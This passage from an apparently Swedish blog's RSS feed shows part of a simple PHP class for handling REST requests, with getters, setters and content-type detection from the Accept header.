	private $data;
	private $http_accept;
	private $method;

	public function __construct()
	{
		$this->request_vars		= array();
		$this->data				= '';
		$this->http_accept		= (strpos($_SERVER['HTTP_ACCEPT'], 'json')) ? 'json' : 'xml';
		$this->method			= 'get';
	}

	public function setData($data)
	{
		$this->data = $data;
	}

	public function setMethod($method)
	{
		$this->method = $method;
	}

	public function setRequestVars($request_vars)
	{
		$this->request_vars = $request_vars;
	}

	public function getData()
	{
		return $this->data;
	}

	public function getMethod()
	{
		return $this->method;
	}

	public function getHttpAccept()
	{
		return $this->http_accept;
	}

	public function getRequestVars()
	{
		return $this->request_vars;
	}
}
</pre>
<p>Det är inte mycket ännu, men mer kommer.</p>
]]></content:encoded>
			<wfw:commentRss>http://txc.se/2009/04/php-rest/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
